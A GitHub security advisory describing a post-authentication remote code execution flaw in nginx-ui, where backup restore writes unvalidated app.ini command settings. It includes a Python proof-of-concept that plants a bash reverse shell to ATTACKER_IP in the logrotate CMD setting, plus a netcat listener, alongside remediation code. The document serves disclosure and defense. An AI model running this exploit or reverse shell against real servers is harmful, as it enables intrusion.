Skip to main content
Menu
Advisories

Post-Authentication RCE via Backup Restore Overwriting Command Execution Settings

GHSA-746F-PJQ6-CC8PPublished Updated GitHub

Description

The backup restore handler at internal/backup/restore.go copies attacker-controlled app.ini content to disk without validating or sanitizing individual settings fields. Five command execution sinks read their executables from app.ini settings: TestConfigCmd, ReloadCmd, RestartCmd, logrotate CMD, and terminal StartCmd. The logrotate CMD is auto-triggered on a configurable timer (default 24 hours), achieving persistent RCE without further user interaction.

Affected Versions

  • nginx-ui <= v2.3.8 (current)
  • All versions since backup restore and settings-driven command execution were introduced

Vulnerability Details

Root Cause: restoreNginxUIConfig() copies app.ini via copyFile with no content validation, allowing injection into command execution sinks

At internal/backup/restore.go:468, the restore function copies the backup's app.ini directly to the application configuration path:

// restore.go:459-485
func restoreNginxUIConfig(...) error {
    // ...
    // Line 468: direct file copy, no field validation
    err = copyFile(backupAppIniPath, cosysettings.ConfPath)
    // ...
}

After restore, risefront.Restart() at api/backup/restore.go:136 reloads settings from the new app.ini.

The five command execution sinks that read from app.ini:

  1. internal/nginx/nginx.go:29 -- TestConfig() calls execShell(settings.NginxSettings.TestConfigCmd), which at internal/nginx/exec.go:18 runs exec.Command("/bin/sh", "-c", cmd). Triggered via POST /api/nginx/test.
  2. internal/nginx/nginx.go -- Reload() calls execShell(settings.NginxSettings.ReloadCmd). Triggered via POST /api/nginx/reload.
  3. internal/nginx/nginx.go -- restart() calls execShell(settings.NginxSettings.RestartCmd). Triggered via POST /api/nginx/restart.
  4. internal/logrotate/logrotate.go:36 -- Exec() splits settings.LogrotateSettings.CMD by space and passes it to exec.Command(cmd[0], cmd[1:]...). Auto-triggered by cron job at internal/cron/logrotate.go:27 on the configured interval (default: 24 hours, configurable down to 1 minute via [logrotate] Interval).
  5. internal/pty/pipeline.go:31 -- NewPipeLine() passes settings.TerminalSettings.StartCmd to exec.Command via pty.Start. Triggered when admin opens terminal.

The ProtectedFill mechanism at api/settings/settings.go:179-188 prevents modifying protected fields via the settings API, but the backup restore path bypasses ProtectedFill entirely -- it writes directly to app.ini.

The RequireSecureSession guard at internal/middleware/secure_session.go:52-84 is only enforced when the user has OTP enabled (line 60). If the admin has not configured 2FA, the guard is a no-op.

Additionally, the POST /api/setup/restore endpoint at backup/router.go:14 only requires the install secret (no AuthRequired, no SecureSession), making this exploitable during the setup window as well.

Proof of Concept

#!/usr/bin/env python3
"""
Craft a malicious nginx-ui backup that injects a reverse shell
into the logrotate CMD setting (auto-triggered on timer).
"""
import zipfile
import io
import json
import os

# Step 1: Create a malicious app.ini
malicious_ini = """
[server]
HttpPort = 9000

[logrotate]
Enabled = true
CMD = /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Interval = 1

[nginx]
TestConfigCmd = id > /tmp/pwned
ReloadCmd = nginx -s reload
RestartCmd = nginx -s restart
"""

# Step 2: Create a valid backup structure
backup = io.BytesIO()
with zipfile.ZipFile(backup, 'w') as zf:
    zf.writestr('nginx-ui/app.ini', malicious_ini)
    # Include minimal required structure
    zf.writestr('nginx-ui/database.db', '')

# Step 3: Upload via authenticated restore endpoint
import requests

session = requests.Session()
# Authenticate first (or use X-Node-Secret)
session.post('https://target:9000/api/login', json={
    'username': 'admin', 'password': 'password'
})

# The security_token is attacker-controlled when crafting own backup
session.post('https://target:9000/api/restore', files={
    'file': ('backup.zip', backup.getvalue())
}, data={
    'restore_nginx_ui': 'true',
    'security_token': 'attacker_controlled'
})

# After risefront.Restart(), the logrotate cron fires every 1 minute
# executing: /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
print("[*] Backup restored. Reverse shell will trigger within 1 minute.")
# Verify exploitation:
nc -lvp 4444
# Wait for logrotate timer to fire (1 minute with Interval=1)

Impact

  • Inject arbitrary commands into logrotate CMD for persistent, timer-triggered RCE without user interaction
  • Inject commands into TestConfigCmd, ReloadCmd, RestartCmd triggered via nginx management API
  • Inject commands into terminal StartCmd triggered when admin opens the terminal
  • Bypass ProtectedFill validation that protects the settings API by writing directly to app.ini
  • Achieve persistence across nginx-ui restarts since malicious commands are stored in configuration
  • Escalate from authenticated user to OS-level code execution as the nginx-ui process user

Suggested Remediation

Validate and sanitize restored app.ini content before writing to disk:

// internal/backup/restore.go - add validation in restoreNginxUIConfig():
func restoreNginxUIConfig(...) error {
    // ... existing code ...

    // Parse the backup app.ini and strip dangerous fields
    cfg, err := ini.Load(backupAppIniPath)
    if err != nil {
        return fmt.Errorf("invalid app.ini in backup: %w", err)
    }

    // Allowlist of safe-to-restore sections and keys
    dangerousKeys := map[string][]string{
        "nginx":    {"TestConfigCmd", "ReloadCmd", "RestartCmd"},
        "logrotate": {"CMD"},
        "terminal": {"StartCmd"},
    }

    for section, keys := range dangerousKeys {
        for _, key := range keys {
            cfg.Section(section).DeleteKey(key)
        }
    }

    err = cfg.SaveTo(cosysettings.ConfPath)
    if err != nil {
        return fmt.Errorf("failed to write sanitized config: %w", err)
    }
    // ...
}

Alternatively, apply an allowlist of fields that can be restored and reject all others, or apply ProtectedFill validation to the restore path.

Affected versions

References

GitHub · 0xJacky/nginx-ui